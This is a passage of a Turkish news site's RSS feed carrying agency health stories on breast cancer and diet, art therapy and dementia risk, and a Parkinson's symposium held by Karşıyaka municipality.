href="https://beyazhaberajansi.com/haber-van-buyuksehir-den-meme-kanseri-farkindalik-semineri-67492.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 14:30:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/van-buyuksehirden-meme-kanseri-farkindalik-semineri-9JTxpQrk.jpg"/>
            </item>
                                <item>
                <title>Meme kanseri, dünyada ilk on kanser arasında ilk sırada yer alıyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/meme-kanseri-dunyada-ilk-on-kanser-arasinda-ilk-sirada-yer-aliyor-547306</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/meme-kanseri-dunyada-ilk-on-kanser-arasinda-ilk-sirada-yer-aliyor-547306</guid>
                <description><![CDATA[Türkiye’de 4 kadından birinde görülüyor Dünya Sağlık Örgütü tarafından 2004 yılından beri meme kanserinde erken teşhisin önemi ve meme kanseri ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Türkiye’de 4 kadından birinde görülüyor</strong></span></span></p>  <p><span><span><strong>Dünya Sağlık Örgütü tarafından 2004 yılından beri meme kanserinde erken teşhisin önemi ve meme kanseri farkındalığı sağlamak için ekim ayı “Meme Kanseri Bilinçlendirme ve Farkındalık Ayı” olarak biliniyor. Meme kanseri, dünyada ve Türkiye’de en sık izlenen ilk on kanser arasında ilk sırada yer alıyor. </strong></span></span></p>  <p><span><span>Ülkemizde ve dünyada kadınlarda en sık karşılaşılan ve aynı zamanda en sık ölüme neden olan meme kanseri, meme dokusunda yer alan hücrelerin kontrolsüz çoğalması ile ortaya çıkıyor. Erkeklerde meme kanseri kadınlara oranla çok daha az sıklıkta görülüyor. Meme kanseri dünya genelinde tek başına kadınlarda, tüm kanserlerin yüzde 30’unu, tüm kanserlerden ölümlerin ise yüzde 14’ünü oluşturmakla birlikte, en sık görülen kanser türü olarak karşımıza çıkıyor.</span></span></p>  <p><span><span>Diğer kanser türlerinde olduğu gibi meme kanseri ile beslenme arasında da sıkı bir ilişki bulunuyor. Sağlıklı beslenme meme kanserinden korunmada önemli bir faktör. Meme kanseri hastalarında bağışıklık sisteminin aktivasyonu, kanser tedavisi, mevcut kanser tedavisinin olumsuz etkilerine bağlı semptomların hafifletilmesi ve meme kalitesinin iyileştirilmesi gibi nedenlerle beslenme tedavisi uygulanabiliyor. </span></span></p>  <p><span><span>Son zamanlarda yapılan bazı çalışmalar, meme kanserinin önlenmesi için diyet ve fiziksel aktivitenin değiştirilebilir risk faktörleri arasında olduğunu ve obezitenin meme kanseri riskini etkilediğini gösteriyor. Postmenopozal kadınlarda obezite, globulin (SHGB) düzeylerinin azalmasına neden olabiliyor.  Bu durum ise, serbest östrojen düzeylerinin artmasına ve meme kanseri riskine yol açıyor. İdeal kiloya sahip kadınların, özellikle menopoz dönemi sonrasında meme kanseri olma riskinin daha az olduğu biliniyor. </span></span></p>  <p><span><span><strong>Sabri Ülker Vakfı</strong>; beslenmenin meme kanseri riskini azaltmadaki önemine dikkat çekiyor.</span></span></p>  <p><span><span><strong><u>Beslenmenize dikkat ederek meme kanseri riskini azaltın </u></strong></span></span></p> <p><span><span>Tüm kanserlerde olduğu gibi sebze ve meyveden zengin, yeterli ve dengeli bir beslenme, uygun koşullarda hazırlanmış gıdaların tüketimi ile sürdürülebilir sağlıklı beslenme alışkanlıkları, fiziksel aktivitenin artırılması, sağlıklı kilonun korunması ve sigara kullanımından uzak durmak meme kanseri riskinin azaltıyor. Emzirmenin meme kanserinden koruduğuna dair çok sayıda çalışma bulunduğu için tüm annelerin bebeklerini en az 2 yıl süreyle emzirmeleri de öneriliyor.  Yeterli ve dengeli bir beslenmede genel olarak alınan total kalorinin yağlardan gelen oranının yüzde 30’u aşmamasının kanser riskini azaltmaya yardımcı olduğu belirtiliyor. Ayrıca, yağ grubu içinde Omega-3 açısından zengin beslenme, kanser riskini azaltıyor.  </span></span></p>  <p><span><span><strong><u>Pişirme yöntemlerine dikkat edilmesi önem taşıyor</u></strong></span></span></p> <p><span><span>Özellikle haftada 1-2 kez mevsimine uygun balık tüketilmesi önemli. Kırmızı etin yanı sıra tavuk, balık, hindi eti gibi alternatiflerinde beslenmede yer alması ve çeşitlilik sağlanması ile pişirme yöntemlerine dikkat edilmesi önem taşıyor. Örneğin,  kızartma yerine ızgara, haşlama veya fırında pişirme yöntemleri tercih edilebilir. Karbonhidrat kaynağı olarak tam tahıl ürünleri tercih edilerek lif alımı desteklenebiliyor. Yapılan bazı çalışmalar, yüksek glisemik indeksin meme kanseri riskini arttırdığını gösteriyor. Bu nedenle tam buğday ekmek, tam buğday makarna, bulgur, yulaf, kuru baklagil gibi liften zengin, düşük glisemik indeksli karbonhidrat kaynaklarını tüketmeye özen gösterilmeli. Meyve ve sebzeler beslenmedeki önemli vitamin, mineral, lif ve antioksidan kaynağı olarak önümüze çıkıyor. Yapılan çalışmalar, meyve ve sebze tüketiminin meme kanseri riskini azalttığını gösteriyor. Kanserden koruyucu bir diyette her gün en az 2 porsiyon meyve ve en az 3 porsiyon sebzenin yer alıyor olmasına özen gösterilmelidir. Özellikle mevsimine uygun sebze ve meyve tüketimi de önemlidir. Meyvelerin şeker oranı yüksek olduğundan porsiyon miktarına da dikkat edilmesi gerekiyor. </span></span></p>  <p><span><span><strong><u>Meme kanserinden korunmada fitokimyasallar</u></strong></span></span></p> <p><span><span>Sebze ve meyvelerdeki fitokimyasalların,  antioksidan  ve anti-kanser aktivitelerine  bağlı  olarak sinerjik  etkilerinin olduğu ileri sürülüyor. Tüm biyoaktif bileşiklerin bazı kanser türlerinin ve özellikle de meme kanserinin önlenmesinde önemli rolünün olduğu biliniyor. Diyet posası bu koruyucu bileşiklerden biri. Avrupa Prospektif Kanser ve Beslenme Araştırma  (EPIC) çalışmasında posa yönünden zengin diyetlerin,  özellikle  sebzelerin posa içeriğine bağlı olarak meme kanseri riskinde azalma sağlayabileceği belirtiliyor. Farklı sebze ve meyvelerin fitokimyasal içeriği, kanserin önlenmesindeki mekanizmalar üzerinde tamamlayıcı ve destekleyici etkiler yaratacağından meme kanserinden korunmada bu besinlerin tüketimi oldukça önemli. </span></span></p>  <p><span><span><strong><u>Zerdeçal ve çörekotu antioksidanlar yönünden destek </u></strong></span></span></p> <p><span><span>Yapılan çalışmalarda bağışıklık sistemini uyarıcı, alerjiyi azaltıcı, kan şekerini düşürücü, tansiyon düşürücü, enfeksiyonu azaltan etkileri görülen çörek otunun içerisinde bulunan maddelerin, meme kanseri hücrelerini öldürebildiği belirtiliyor. Zerdeçal ile yapılan çalışmalarda ise, zerdeçalın iltihap giderici ve antioksidan etkisi üzerinde duruluyor. Ayrıca zihinsel fonksiyonları artıran zerdeçal özellikle uzak doğuda tümörlerin de tedavisinde uzun süredir kullanılıyor. Ara öğünlerde yoğurtlarınıza, ana yemeklerde ise salata veya çorbalarınıza zerdeçal veya çörekotu ekleyerek diyetinizi antioksidanlar yönünden destekleyebilirsiniz.  </span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-meme-kanseri-dunyada-ilk-on-kanser-arasinda-ilk-sirada-yer-aliyor-67470.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 13:16:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/meme-kanseri-dunyada-ilk-on-kanser-arasinda-ilk-sirada-yer-aliyor-tv4lUeS6.jpg"/>
            </item>
                                <item>
                <title>Sanat terapisi demans riskini azaltıyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/sanat-terapisi-demans-riskini-azaltiyor-547293</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/sanat-terapisi-demans-riskini-azaltiyor-547293</guid>
                <description><![CDATA[Ergoterapi ile hayattaki farkındalığın artırılması hedefleniyor Ergoterapinin çalışma alanları, kişilerin günlük yaşamındaki aktivitelerin ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Ergoterapi ile hayattaki farkındalığın artırılması hedefleniyor</strong></span></span></p>  <p><span><span><strong>Ergoterapinin çalışma alanları, kişilerin günlük yaşamındaki aktivitelerin bütününü kapsıyor. Ergoterapistlerin ihtiyaç duyduklarında sanat terapisine başvurabildiklerini belirten uzmanlar, bu sayede ergoterapistlerin kişinin aktiviteye katılımı artırmayı, hayatındaki farklılıkları artırmayı, sağlığı iyileştirmeyi ve olumsuz deneyimlerinin etkisini azaltmayı hedeflediklerini ifade ediyor. Öğr. Gör. İsa Kör, sanat terapisinin yaşlı bireylerde demans geliştirme riskini azalttığını vurgularken kukla ve boya gibi araçların da olumlu etkiler sağladığına dikkat çekti.</strong></span></span></p>  <p><span><span>Dünya Ergoterapistleri Federasyonu WFOT (World Federation of Occupational Therapists) öncülüğünde her yıl 27 Ekim Dünya Ergoterapi Günü olarak kutlanıyor.</span></span></p>  <p><span><span>Üsküdar Üniversitesi Sağlık Bilimleri Fakültesi Ergoterapi Bölümü Öğr. Gör. İsa Kör, sanat terapisi ve ergoterapinin uyumlu ilişkisinden ve sağladıkları faydalardan bahsetti.</span></span></p>  <p><span><span><strong>Aktiviteler azalınca kişinin rolleri kayboluyor</strong></span></span></p> <p><span><span>Ergoterapinin çalışma alanlarının kişilerin günlük yaşamındaki aktivitelerinin bütününü kapsadığını belirten ergoterapist İsa Kör, “Ergoterapiyi bireyin kendine bakım, çalışma, boş zaman ve oyuna aktif katılımı olarak tanımlayabiliriz. Buna ek olarak aktivite ise insanların kendileri ile ilgilenmek, hayattan zevk almak, sosyal ve ekonomik ortamlara katkıda bulunmak gibi kendine uğraş edindiği her şey olarak tanımlanabilir. Bireylerin hayatta bir rolü vardır. Roller ise her yaşta ve her ortam değişiminde farklılık gösterebilir. Sağlığın bozulmasıyla kişinin aktivitelere katılımında azalmalar görülebiliyor. Aktivite katılımındaki düşüş ise kişinin hayatındaki rollerin kaybolmasına neden olabiliyor. Rollerin kaybolması, kişiyi hayattaki beklentilerinde değişliklere sürüklerken kişide aktivitedeki kayıplara bağlı olarak sağlığın kötüye gitmesiyle ilgili yıkımlar görülebiliyor. Birey hayatta kendini değersiz hissetme, birisine bağımlı olarak yaşama, günlük aktivitelerini yerine getirememe, yatağa bağımlı yaşama gibi durumlarla karşılaşabiliyor.” dedi.</span></span></p>  <p><span><span><strong>İlk hedef psikolojik rahatsızlığı olan kişiler…</strong></span></span></p> <p><span><span>Ergoterapist İsa Kör, ergoterapistlerin kişideki olumsuz deneyimlerin etkisini azaltmak için aktiviteye katılımı artırmak, kişinin hayatındaki farklılıkları artırmak, rutinler oluşturmak, sağlığı iyileştirmeyi teşvik etmek, iyi olma halini sağlamak için sanat terapisine başvurabildiklerini söyledi ve sözlerine şöyle devam etti:</span></span></p>  <p><span><span>“Sanat terapisini kişinin duygu ve düşüncelerini ifade etmenin sözel olmayan, sanatsal yaratım sürecinde terapötik ve yaşamı zenginleştirmesi fikrine dayandırabiliriz. Sanat terapisinin hedefi ilk başta psikolojik rahatsızlığı olan kişilerdir. Sonrasında bu terapinin popülasyonu çocuklar, ergenler, yaşlılar, öğrenme ve uyum zorluğu yaşayan bireyler, otizm spektrum bozukluğu, istismar geçmişinin bulunması, kayıp veya doğal afet yaşayanlar gibi günlük yaşamda güçlükleri bulunan bireylere genişledi. Sanat terapisi, stresle veya öz farkındalıkla mücadele eden ve kişisel zorluklara yol açan baskıya sahip kişileri destekler. Günümüzde sanat terapisi sadece terapötik yaklaşım olarak değil aynı zamanda bireylerin veya grupların potansiyellerini keşfedip bazı sosyal sorunları çözdüğü gelişimsel uygulama olarak ele alabilir. Bu noktada sanat terapi ile ergoterapinin özel gereksinimli bireyleri desteklenmesinde ortak çalışmaları dikkat çekiyor.”</span></span></p>  <p><span><span><strong>Terapide kukla önemli bir araç</strong></span></span></p> <p><span><span>Sanat terapisinde kullanılan araçlardan birinin de kuklalar olduğunu belirten ergoterapist İsa Kör, “Kukla sanat terapisinde metaforik bir ifadedir. Ergoterapist görüşmelerinde sözel dili kullanmakta güçlük çeken çocuklarla çizim, kil kalıplama ve kolay yapma gibi yollarla etkileşim kurmak sadece terapist için değil çocuk içinde eğlenceli bir seçenektir. Bunun yanında doğrudan konuşmak yerine kukla kullanımı çocuğun konuşmadan daha az düşmanca ve tehdit edici düşüncelerine kapılmasına destek olabilir.” ifadelerini kullandı.</span></span></p>  <p><span><span><strong>Boyalar olumlu etki yaratabiliyor</strong></span></span></p> <p><span><span>Sanat çalışmalarında kurşun kalem, boya kalemleri, kolaj malzemeler, pullar, fırça, kil ve sulu, yağlı, pastel boyalar gibi malzemelerin kullanılabildiğini belirten ergoterapist İsa Kör, “Malzemelerin kullanımına bağlı olarak içeride oluşturulmaya çalışılan ahenk kişinin dışa vurumu olarak ifade edilebilir. Boyaların ayrıca travmatik olaylardan sonra uzun süreli hafızada olumlu etkisiyle ilgili yapılan çalışmalar mevcut. Özellikle akışkan yapıdaki boyaların bireyde gevşeme ve meditatif deneyimleri teşvik ettiği gözlemlendi. Dikkat Eksikliği ve Hiperaktivite Bozukluğu olan çocuklarla çalışmalar yaparken kullanılan boyalar ve kilin çocuğun öz düzenleme, kendini kontrolde tutma, planlama gibi yürütücü işlevlerini geliştirmede önemli etkileri olduğu tespit edildi. Ergoterapistin sanat çalışmalarına yer vermesi bireyin zamanı verimli, anlamlı ve değerli kullanmasına olanak sağlayabilir.” diye konuştu.</span></span></p>  <p><span><span><strong>Özellikle pediatri alanında çalışıyorlar</strong></span></span></p> <p><span><span>Ergoterapist İsa Kör, Sanat terapisi ile ergoterapiyi birlikte ele alırken farklı noktalara odaklandıklarını unutmamak gerektiğini vurguladı ve sözlerini şöyle sürdürdü:</span></span></p>  <p><span><span>“Ergoterapist bireyin sanat çalışması esnasında kaçınabileceği, dokunmak istemeyeceği, ağzına alabileceği ve kendisine tehlike yaratabilecek noktaları önceden saptayabilir. Bireyin hangi alanında bir beceri eksikliği varsa ona göre farklı sanatsal çalışmaları uygulamayı tercih edebilir. Ergoterapistler ülkemizde özellikle pediatri alanında çalışmalar yapıyorlar. Burada son dönemde çocuklarda gözlemlenen otizm spektrum bozukluğu, dikkat eksikliği ve hiperaktivite bozukluğu, özgül öğrenme güçlüğü, down sendromu, serebral palsi gibi dezavantajlı gruplara çokça rastlanıyor. Ergoterapist her bireyi kendi ilgi alanına ve kişisel özelliklerine göre ele alacağı için sanatsal çalışmasını öğrenme güçlüğü bulunan iki farklı bireyde farklı uygulamalara gidilebilir. Bu yüzden ergoterapistler dezavantajlı grupta belirli bir sanat materyalini kullanmayı uygun bulmayabilir. Her grubu kendi içinde değerlendirmenin yanında bireye özel yaklaşımı hedefleyerek kişiye özel yaklaşım benimsiyorlar. Ancak burada sanatsal çalışmanın yapıldığı ortamdaki sosyal ilişkilerdeki etkileşiminin önemini atlamamak gerekiyor. Grup çalışmalarında sanatsal çalışmalarla ortak etkileşime giren bireylerin sosyal becerilerinde gelişimler görülebiliyor.”</span></span></p>  <p><span><span><strong>Aktivite katılımını artırmayı amaçlıyorlar</strong></span></span></p> <p><span><span>Ergoterapistlerin psikiyatrik bozukluğu bulunan bireylerde sanatsal çalışmaları kullanmasındaki asıl amaçlardan birisinin kişinin kendini iyi hissetmesinin yanında aktivite katılımını artırmak istemesi  olduğunu belirten ergoterapist İsa Kör, “Psikiyatrik bozukluklarda günlük rutinlerde azalmalar görülebiliyor. Bireyler plan yapma, organizasyon, aktiviteyi başlatma, sürdürme ve bitirme gibi noktalarda problemlerle karşılaşılabiliyorlar. Burada günlük yaşamdaki aktivelerin çeşitliliğin artırılması hedefleniyor. Örneğin resim, kil, dans, müzik hepsi kendi içinde ayrıca farklı noktalara destek sağlıyor. Ergoterapist ise bireyin yatkın olduğu noktada aktivitelere sanatsal çalışmaları dahil ederek çalışmalarındaki etkileşimi destekleyebiliyor.” dedi.</span></span></p>  <p><span><span><strong>Demans riskini düşürüyor</strong></span></span></p> <p><span><span>Geriatrik bireylerde hafıza ve dikkat gibi bilişsel becerileri kuvvetlendirmek ve fiziksel hareketliliği artırmak için sanat terapisine ihtiyaç duyulabildiğini ifade eden ergoterapist İsa Kör, “Sanat, soyut düşünme, yargılama ve hafıza gibi çeşitli becerileri kullanmayı gerektiriyor. Yaşlı bireylerde demans geliştirme riskinin daha düşük gözlemlenmesinde sanatın etkisi dikkat çekiyor. Sanat yoluyla bilişi kullanmak çoğu rehabilitasyon hizmetinden yararlan yaşlı popülasyonda bağımsız işlevlere dönüşebilir.” diye konuştu.</span></span></p>  <p><span><span><strong>Ergoterapistler bireyin iyilik haline odaklanıyor</strong></span></span></p> <p><span><span>Ergoterapist İsa Kör, ‘Ergoterapistler sanatı araç olarak kullanabilirken, görüşmelerinde sadece sanat terapisine yer vererek ilerlemezler’ dedi ve sözlerini şöyle tamamladı:</span></span></p>  <p><span><span>“Müzik, resim, kil, dans çalışmaları görüşmelerinde olabilir ancak bireylerin bahsedilen alanlar üzerindeki gelişimlerine ve kendilerini sanatsal çalışmalarla ifade ediş biçimine odaklanmaz. Ergoterapistin amacı kişinin günlük hayatındaki aktiviteleri çeşitlendirmek, geliştirmek ve değiştirmektir. Bunları yaparken bireyin iyilik haline odaklanır. Kişinin kaybolan yetilerine göre aktiviteler belirleyerek kişinin becerilerini geliştirmeyi, eski haline getirmeyi ve kayıpları önlemeyi amaçlayarak bireyin hayatını destekler.”</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-sanat-terapisi-demans-riskini-azaltiyor-67458.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 13:00:11 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/sanat-terapisi-demans-riskini-azaltiyor-Zp8L3xk3.jpg"/>
            </item>
                                <item>
                <title>Karşıyaka Belediyesi’nden Parkinson Sempozyumu</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/karsiyaka-belediyesinden-parkinson-sempozyumu-547279</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/karsiyaka-belediyesinden-parkinson-sempozyumu-547279</guid>
                <description><![CDATA[Türkiye Parkinson Hasta ve Yakınları Derneği ve Karşıyaka Belediyesi iş birliği ile Zübeyde Hanım Nikah Sarayı'nda ‘Parkinsonlu Yaşam Sempozyumu ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Türkiye Parkinson Hasta ve Yakınları Derneği ve Karşıyaka Belediyesi iş birliği ile Zübeyde Hanım Nikah Sarayı'nda ‘Parkinsonlu Yaşam Sempozyumu’ düzenlendi. Parkinson konusunda hasta odaklı bir anlayışla yerel yönetim iş birliğinde gerçekleştirilen ilk sempozyumda Parkinson hastalığı tüm yönüyle ele alındı. </strong></span></span></p> <p><br/>  </p> <p><span><span>Parkinson hastalarının ve yakınlarının da yer aldığı sempozyumda, hastalığın hayata olan etkileri de anlatıldı. Sempozyuma; Karşıyaka Belediye Başkanı Dr. Cemil Tugay, Türkiye Parkinson Hasta ve Yakınları Derneği Başkanı Gülnur Kelçe ve dernek üyeleri, sivil toplum kuruluşlarının temsilcileri, akademisyenler ve üniversite öğrencileri katıldı. Karşıyaka'da 4 bine yakın Parkinson hastası olduğu vurgulandı. İki oturum şeklinde gerçekleşen sempozyumda oturumlar sonunda katılımcıların soruları cevaplandı. Moderatörlere ve konuşmacılara plaket ve teşekkür belgesi takdim edildi. Günün anısına Gülnur Kelçe, Karşıyaka Belediye Başkanı Dr. Cemil Tugay’a Parkinson hasta yakınları adına teşekkür plaketi takdim etti. Seminere katılan üniversite öğrencilerine de teşekkür belgesi verildi.</span></span></p>  <p><span><span><strong>“TOPLUM FARKINDALIĞININ ARTMASI HEDEFLENDİ”</strong></span></span></p> <p><span><span>Sempozyumun açılış konuşmasını Türkiye Parkinson Hasta ve Yakınları Derneği Başkanı Gülnur Kelçe yaptı. Toplumda görülme sıklığı artan Parkinson hastalığı için geleceğe yönelik ciddi adımlar atılması gerektiğini vurgulayan Kelçe şunları aktardı: “Belediye Başkanı’mız Dr. Cemil Tugay’ın destekleriyle Karşıyaka'da hastaların ihtiyaçları doğrultusunda neler yapılabileceği ile ilgili bir çalıştay gerçekleştirdik. Bu çalıştayın sonunda atılacak ilk adım olarak toplumun bilinçlendirilmesi, farkındalığın artması hedeflendi. Toplumda görülme sıklığı artan Parkinson hastalığı için geleceğe yönelik ciddi adımlar atılmasının önemi ifade edildi. Karşıyaka Belediyesi derneğimiz ile iş birliği yaparak Parkinson hastalarına kucak açtı. Neden Karşıyaka diye soracak olursanız İzmir'deki Parkinson hastalarının yarısı Karşıyaka'da yaşıyor. İstiyoruz ki ne kadar zorlanırsak zorlanalım bizleri, sevenlerin arasında olmak hayatımıza yıllar kazandıracaktır. Sözlerimi sonlandırırken size bir soru sormak istiyorum. Bir gün uyanıyorsun ve beyninizin bedeninize söz geçiremediğini görüyorsun, ne hissedersiniz?”</span></span></p>  <p><span><span><strong>“KENDİLERİ BAŞA ÇIKMAYA ÇALIŞIYOR”</strong></span></span></p> <p><span><span>Çok güzel ve anlamlı bir etkinlikte bir araya geldiklerini vurgulayan Karşıyaka Belediye Başkanı Dr. Cemil Tugay amaçlarının Parkinson hastalığı konusunda daha fazla farkındalık yaratmak olduğunu belirterek “Bu hastalığın etkilediği vatandaşlarımızı ve yakınlarını olabildiğince desteklemek istiyoruz. Belediyeler sağlık konusundaki hizmetlerde ne kadar sorumludurlar sorusunun cevabı henüz tam net değil ama biz hizmet ettiğimiz yurttaşlarımızın yaşadığı her soruna sahip çıkmak için çalışmalar yapıyoruz. Ben doktorum, hayatımın 36 yılı insanların sağlık durumunu ve problemlerini gözleyerek geçti. Aslında her tür hasta ve hastalıkla muhatap oldum. İçimizden herhangi birisi ciddi bir hastalık yaşadığı zaman ona ve yakınlarına yaşattığı zorluklar, hepimizin günlük yaşamda büyüttüğümüz bir çok sorundan daha büyük bir sorun haline geliyor. Özellikle yakınlarınız, sevdikleriniz hayati veya kronik problemler yaşadığı zaman onlar için hayatta en önemli şey hastalık ve mağduriyet oluyor. Ben doktor olarak bunun farkındayım. Bu gözle baktığım zaman pek çok farklı hastalık durumundan insanların kentimizde de dünyamızda da mağdur olduğunu görebiliyorum. Bence bu mağduriyet yalnız bırakılmalarından geliyor. İnsanlar hastalıklarıyla kendileri başa çıkmaya çalışıyor. Tabi ki bir sağlık yetkilisi oluyor ama bunun dışındaki yaşamlarında aslında daha fazla destek görmeleri gerektiği halde görmüyorlar. Bazen çok ileri derece mağduriyetlere dönüşebiliyor. Parkinson da kronik ve ilerleyici bir hastalık olduğu için maruz kalan yurttaşlarımızı ve yakınlarını etkileyen bir hastalık. Bir toplumsal bilinç yaratmak gerekiyor. Hastalığı yaşayan ama ileriki evrelerde ne yapacağını, ilerleyişini nasıl durdurmasını bilmeyen bir çok insan var. Burada insanlarımızı ‘sen kendi başının çaresine bak’ diye yalnız bırakmayız. İnsan ve toplum sağlığı ile ilgili çalışmalar yapmak, insanlar için yapacağımız bence en büyük iyilik. Bu bakış açısıyla özellikle kronik ve düşkün duruma düşüren hastalıklar konusunda hem kendimize bir görev veriyoruz hem de bu mesajı buradan bütün yerel yönetimlere bu konuda çalışmanın zorunluluğu olduğunu dile getirmek istiyorum. Hocalarımızın desteği ile çok iyi şeyler yapacağımıza inanıyorum. Hep beraber bu mücadeleyi yapalım ve kime ne kadar yardımcı olabilirsek olalım” diye konuştu.</span></span></p>  <p><span><span><strong>PARKİNSON TÜM YÖNÜYLE ELE ALINDI</strong></span></span></p> <p><span><span>Sempozyumun ilk oturumunun moderatörlüğünü Ege Üniversitesi Geriatri Bilim Dalı Doç. Dr. Sevnaz Şahin ve  Dokuz Eylül Üniversitesi Tıp Fakültesi Nöroloji Anabilim Dalı Prof. Dr. Beril Dönmez Çolakoğlu yaptı. Oturumun ilk konuşmacısı İzmir Ekonomi Üniversitesi Medical Point Hastanesi’nden Prof. Dr. Özge Yılmaz Küsbeci oldu. Prof. Dr. Küsbeci, sunumunda Parkinson hastalığını ve tedavi sürecini anlattı. İkinci konuşmacı olarak Ege Üniversitesi Tıp Fakültesi Geriatri Bilim Dalı’ndan Doç. Dr. Aslı Kılavuz, Parkinson hastalarının yüzde 60’ının yetersiz beslenme riski altında olduğunu belirterek beslenmenin nasıl olması gerektiğini aktardı. Ege Üniversitesi Tıp Fakültesi Fiziksel Tıp ve Rehabilitasyon Anabilim Dalı’ndan Uzman Fizyoterapist Nuri Üçler Parkinson hastalığında fizyoterapi ve rehabilitasyonun önemini anlattı. Üçler, anlatım sırasında Parkinson hastaları ve yakınlarına bazı hareketler de yaptırdı. Dördüncü konuşmacı olarak Türkiye Parkinson Hasta ve Yakınları Derneği gönüllüsü Psikoterapist Meltem Yamanyılmaz ise hastaların ve hasta yakınlarının yaşadığı sorunları ele aldı. Yamanyılmaz konuşmasında Parkinson hasta yakını olarak geçirdiği süreci de katılımcılara anlattı. </span></span></p>  <p><span><span><strong>HASTA YAKINLARININ SORUNLARI KONUŞULDU</strong></span></span></p> <p><span><span>Sempozyumun ikinci oturumunda ise Parkinson hasta yakınlarının ve hastalarının ihtiyaçları, hastaların hakları ve başvuru süreçleri hakkında konuşuldu. Moderatörlüğü, Ege Üniversitesi Tıp Fakültesi Geriatri Bilim Dalı’ndan Doç. Dr. Sumru Savaş ve Psikolog Mevlüt Ülgen yaptı. İlk konuşmacı Türkiye Parkinson Hasta ve Yakınları Derneği Başkanı Gülnur Kelçe, Parkinson hasta yakınlarının sorunlarını ve yapılması gerekenleri, dernek olarak neler yaptıklarını anlattı. </span></span></p>  <p><span><span>İkinci konuşmacı olarak Dokuz Eylül Üniversitesi Hemşirelik Fakültesi’nden Doç. Dr. Burcu Akpınar Söylemez, Parkinson hastalarının ihtiyaçları hakkında bilgi verdi. Üçüncü konuşmacı olarak Tepecik Eğitim Araştırma Hastanesi Sosyal Hizmetler Uzmanı Aysun İnan Parkinson hastalarının hakları ve başvuru kanalları hakkında bilgi verdi.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-karsiyaka-belediyesi-nden-parkinson-sempozyumu-67449.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 12:12:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/karsiyaka-belediyesinden-parkinson-sempozyumu-eawD2fxV.jpg"/>
            </item>
                                <item>
                <title>Çocuklarda ergoterapi seansları, çocuğun ihtiyaçlarına göre belirleniyor</title>
